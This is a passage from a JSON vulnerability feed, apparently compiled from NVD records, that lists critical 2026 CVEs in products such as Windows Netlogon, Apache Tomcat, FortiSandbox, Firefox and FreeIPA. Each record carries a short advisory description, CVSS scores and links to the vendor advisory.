record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41089","cveId":"CVE-2026-41089","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Windows Netlogon allows an unauthorized attacker to execute code over a network.","summary":"Stack-based buffer overflow in Windows Netlogon allows an unauthorized attacker to execute code over a network.","detail":"Stack-based buffer overflow in Windows Netlogon allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:20.720Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"windows server 2012","stacks":["Microsoft Windows","windows server 2012"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41089","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41089","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41089","type":"primary","publishedAt":"2026-05-12T18:17:20.720Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40379","cveId":"CVE-2026-40379","aliases":[],"kind":"vulnerability","title":"Exposure of sensitive information to an unauthorized actor in Azure Entra ID allows an unauthorized attacker to perform spoofing over a network.","summary":"Exposure of sensitive information to an unauthorized actor in Azure Entra ID allows an unauthorized attacker to perform spoofing over a network.","detail":"Exposure of sensitive information to an unauthorized actor in Azure Entra ID allows an unauthorized attacker to perform spoofing over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:16.663Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"entra id","stacks":["Microsoft Azure","entra id"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40379","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40379","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40379","type":"primary","publishedAt":"2026-05-12T18:17:16.663Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40379","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-33117","cveId":"CVE-2026-33117","aliases":[],"kind":"vulnerability","title":"The Java Key Vault Keys library in the Azure SDK for Java contains an issue in the local cryptographic verification path where authentication tag comparison was implemented...","summary":"The Java Key Vault Keys library in the Azure SDK for Java contains an issue in the local cryptographic verification path where authentication tag comparison was implemented incorrectly. In affected applications that use the vulnerable local cryptography path, specially crafted encrypted input may bypass integrity verification checks. Operations delegated to the Key Vault service are not affected. The issue is addressed in version 4.10.6.","detail":"The Java Key Vault Keys library in the Azure SDK for Java contains an issue in the local cryptographic verification path where authentication tag comparison was implemented incorrectly. In affected applications that use the vulnerable local cryptography path, specially crafted encrypted input may bypass integrity verification checks. Operations delegated to the Key Vault service are not affected. The issue is addressed in version 4.10.6.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:17:04.033Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"microsoft","product":"azure sdk for java","stacks":["Microsoft Azure","Java","azure sdk for java"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-33117","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-33117","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33117","type":"primary","publishedAt":"2026-05-12T18:17:04.033Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33117","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-26083","cveId":"CVE-2026-26083","aliases":[],"kind":"vulnerability","title":"A missing authorization vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.1, FortiSandbox 4.4.0 through 4.4.8, FortiSandbox Cloud 5.0.2 through 5.0.5, FortiSandbox PaaS...","summary":"A missing authorization vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.1, FortiSandbox 4.4.0 through 4.4.8, FortiSandbox Cloud 5.0.2 through 5.0.5, FortiSandbox PaaS 23.4 all versions, FortiSandbox PaaS 23.3 all versions, FortiSandbox PaaS 23.1 all versions, FortiSandbox PaaS 22.2 all versions, FortiSandbox PaaS 22.1 all versions, FortiSandbox PaaS 21.4 all versions, FortiSandbox PaaS 21.3 all versions, FortiSandbox PaaS 5.0.0 through 5.0.1, FortiSandbox PaaS 4.4.5 through 4.4.8 may allow an unauthenticated attacker to execute unauthorized code or commands via HTTP requests.","detail":"A missing authorization vulnerability in Fortinet FortiSandbox 5.0.0 through 5.0.1, FortiSandbox 4.4.0 through 4.4.8, FortiSandbox Cloud 5.0.2 through 5.0.5, FortiSandbox PaaS 23.4 all versions, FortiSandbox PaaS 23.3 all versions, FortiSandbox PaaS 23.1 all versions, FortiSandbox PaaS 22.2 all versions, FortiSandbox PaaS 22.1 all versions, FortiSandbox PaaS 21.4 all versions, FortiSandbox PaaS 21.3 all versions, FortiSandbox PaaS 5.0.0 through 5.0.1, FortiSandbox PaaS 4.4.5 through 4.4.8 may allow an unauthenticated attacker to execute unauthorized code or commands via HTTP requests.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T18:16:39.817Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"fortinet","product":"fortisandbox","stacks":["Fortinet","fortisandbox"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-26083","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-26083","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26083","type":"primary","publishedAt":"2026-05-12T18:16:39.817Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://fortiguard.fortinet.com/psirt/FG-IR-26-136","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43515","cveId":"CVE-2026-43515","aliases":[],"kind":"vulnerability","title":"Improper Authorization vulnerability when multiple method constraints define an HTTP method for the same extension in Apache Tomcat.","summary":"Improper Authorization vulnerability when multiple method constraints define an HTTP method for the same extension in Apache Tomcat.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.\n\nUsers are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.","detail":"Improper Authorization vulnerability when multiple method constraints define an HTTP method for the same extension in Apache Tomcat.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.\n\nUsers are recommended to upgrade to version 11.0.22, 10.1.55 or 9.0.118 which fix the issue.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T16:16:18.553Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apache","product":"tomcat","stacks":["Apache Tomcat","tomcat"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43515","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43515","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43515","type":"primary","publishedAt":"2026-05-12T16:16:18.553Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://lists.apache.org/thread/746nxfxod0wsocxtmv8pb8nkgmwpc6bb","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41293","cveId":"CVE-2026-41293","aliases":[],"kind":"vulnerability","title":"Improper Input Validation vulnerability in Apache Tomcat.","summary":"Improper Input Validation vulnerability in Apache Tomcat.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 10.0.0-M1 through 10.0.27.\nOlder, end of support versions may also be affected.\n\nUsers are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.","detail":"Improper Input Validation vulnerability in Apache Tomcat.\n\nThis issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.21, from 10.1.0-M1 through 10.1.54, from 9.0.0.M1 through 9.0.117, from 10.0.0-M1 through 10.0.27.\nOlder, end of support versions may also be affected.\n\nUsers are recommended to upgrade to version [FIXED_VERSION], which fixes the issue.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T16:16:17.553Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"apache","product":"tomcat","stacks":["Apache Tomcat","tomcat"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41293","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41293","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41293","type":"primary","publishedAt":"2026-05-12T16:16:17.553Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://lists.apache.org/thread/qwg0q16z7xkb2qrr853wdll5531mvl1r","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8401","cveId":"CVE-2026-8401","aliases":[],"kind":"vulnerability","title":"Sandbox escape in the Profile Backup component.","summary":"Sandbox escape in the Profile Backup component. This vulnerability was fixed in Firefox 150.0.3, Firefox ESR 115.36, Firefox ESR 140.11, and Thunderbird 140.11.","detail":"Sandbox escape in the Profile Backup component. This vulnerability was fixed in Firefox 150.0.3, Firefox ESR 115.36, Firefox ESR 140.11, and Thunderbird 140.11.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T15:16:20.100Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"mozilla","product":"firefox","stacks":["Mozilla Firefox and Thunderbird","firefox"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8401","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8401","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8401","type":"primary","publishedAt":"2026-05-12T15:16:20.100Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.mozilla.org/security/advisories/mfsa2026-45/","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8043","cveId":"CVE-2026-8043","aliases":[],"kind":"vulnerability","title":"External control of a file name in Ivanti Xtraction before version 2026.2 allows a remote authenticated attacker to read sensitive files and write arbitrary HTML files to a web...","summary":"External control of a file name in Ivanti Xtraction before version 2026.2 allows a remote authenticated attacker to read sensitive files and write arbitrary HTML files to a web directory, leading to information disclosure and possible client-side attacks.","detail":"External control of a file name in Ivanti Xtraction before version 2026.2 allows a remote authenticated attacker to read sensitive files and write arbitrary HTML files to a web directory, leading to information disclosure and possible client-side attacks.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-12T15:16:17.153Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"ivanti","product":"xtraction","stacks":["Ivanti","xtraction"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8043","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8043","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8043","type":"primary","publishedAt":"2026-05-12T15:16:17.153Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://hub.ivanti.com/s/article/Security-Advisory---Ivanti-Xtraction-CVE-2026-8043?language=en_US","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44643","cveId":"CVE-2026-44643","aliases":[],"kind":"vulnerability","title":"Angular Expressions provides expressions for the Angular.JS web framework as a standalone module.","summary":"Angular Expressions provides expressions for the Angular.JS web framework as a standalone module. Prior to 1.5.2, an attacker can write a malicious expression using filters that escapes the sandbox to execute arbitrary code on the system. This vulnerability is fixed in 1.5.2.","detail":"Angular Expressions provides expressions for the Angular.JS web framework as a standalone module. Prior to 1.5.2, an attacker can write a malicious expression using filters that escapes the sandbox to execute arbitrary code on the system. This vulnerability is fixed in 1.5.2.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T16:17:36.143Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"peerigon","product":"angular-expressions","stacks":["Peerigon","angular-expressions"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44643","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44643","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44643","type":"primary","publishedAt":"2026-05-11T16:17:36.143Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/peerigon/angular-expressions/security/advisories/GHSA-pw8r-6689-xvf4","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-40636","cveId":"CVE-2026-40636","aliases":[],"kind":"vulnerability","title":"Dell ECS versions 3.8.1.0 through 3.8.1.7 and Dell ObjectScale versions prior to 4.3.0.0, contains a use of hard-coded credentials vulnerability.","summary":"Dell ECS versions 3.8.1.0 through 3.8.1.7 and Dell ObjectScale versions prior to 4.3.0.0, contains a use of hard-coded credentials vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to filesystem access for attacker.","detail":"Dell ECS versions 3.8.1.0 through 3.8.1.7 and Dell ObjectScale versions prior to 4.3.0.0, contains a use of hard-coded credentials vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to filesystem access for attacker.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T10:16:13.623Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"dell","product":"elastic cloud storage","stacks":["Dell","elastic cloud storage"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-40636","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-40636","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40636","type":"primary","publishedAt":"2026-05-11T10:16:13.623Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://www.dell.com/support/kbdoc/en-us/000462117/dsa-2026-047-security-update-for-dell-ecs-and-objectscale-multiple-vulnerabilities-1","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41583","cveId":"CVE-2026-41583","aliases":[],"kind":"vulnerability","title":"ZEBRA is a Zcash node written entirely in Rust.","summary":"ZEBRA is a Zcash node written entirely in Rust. Prior to zebrad version 4.3.1 and prior to zebra-script version 5.0.2, after a refactoring, Zebra failed to validate a consensus rule that restricted the possible values of sighash hash types for V5 transactions which were enabled in the NU5 network upgrade. Zebra nodes could thus accept and eventually mine a block that would be considered invalid by zcashd nodes, creating a consensus split between Zebra and zcashd nodes. In a similar vein, for V4 transactions, Zebra mistakenly used the \"canonical\" hash type when computing the sighash while zcashd (correctly per the spec) uses the raw value, which could also crate a consensus split. This issue has been patched in zebrad version 4.3.1 and zebra-script version 5.0.2.","detail":"ZEBRA is a Zcash node written entirely in Rust. Prior to zebrad version 4.3.1 and prior to zebra-script version 5.0.2, after a refactoring, Zebra failed to validate a consensus rule that restricted the possible values of sighash hash types for V5 transactions which were enabled in the NU5 network upgrade. Zebra nodes could thus accept and eventually mine a block that would be considered invalid by zcashd nodes, creating a consensus split between Zebra and zcashd nodes. In a similar vein, for V4 transactions, Zebra mistakenly used the \"canonical\" hash type when computing the sighash while zcashd (correctly per the spec) uses the raw value, which could also crate a consensus split. This issue has been patched in zebrad version 4.3.1 and zebra-script version 5.0.2.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-08T15:16:41.070Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"zfnd","product":"zebra-script","stacks":["Zfnd","zebra-script"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41583","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41583","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41583","type":"primary","publishedAt":"2026-05-08T15:16:41.070Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-8m29-fpq5-89jj","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76578","cveId":"CVE-2026-76578","aliases":[],"kind":"vulnerability","title":"A flaw was found in FreeIPA. The self-managed OTP token ACI does not require authentication and does not restrict which attributes may be added alongside the token entry.","summary":"A flaw was found in FreeIPA. The self-managed OTP token ACI does not require authentication and does not restrict which attributes may be added alongside the token entry. An unauthenticated LDAP client can exploit this, combined with a related flaw in the underlying directory server's ACI evaluation (tracked separately), to create an arbitrary attacker-controlled Kerberos principal and have it added to the administrators group. This allows a remote, unauthenticated attacker to obtain genuine FreeIPA administrator-group membership and perform administrative operations against the directory and, on SID-enabled deployments, other IdM services.","detail":"A flaw was found in FreeIPA. The self-managed OTP token ACI does not require authentication and does not restrict which attributes may be added alongside the token entry. An unauthenticated LDAP client can exploit this, combined with a related flaw in the underlying directory server's ACI evaluation (tracked separately), to create an arbitrary attacker-controlled Kerberos principal and have it added to the administrators group. This allows a remote, unauthenticated attacker to obtain genuine FreeIPA administrator-group membership and perform administrative operations against the directory and, on SID-enabled deployments, other IdM services.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 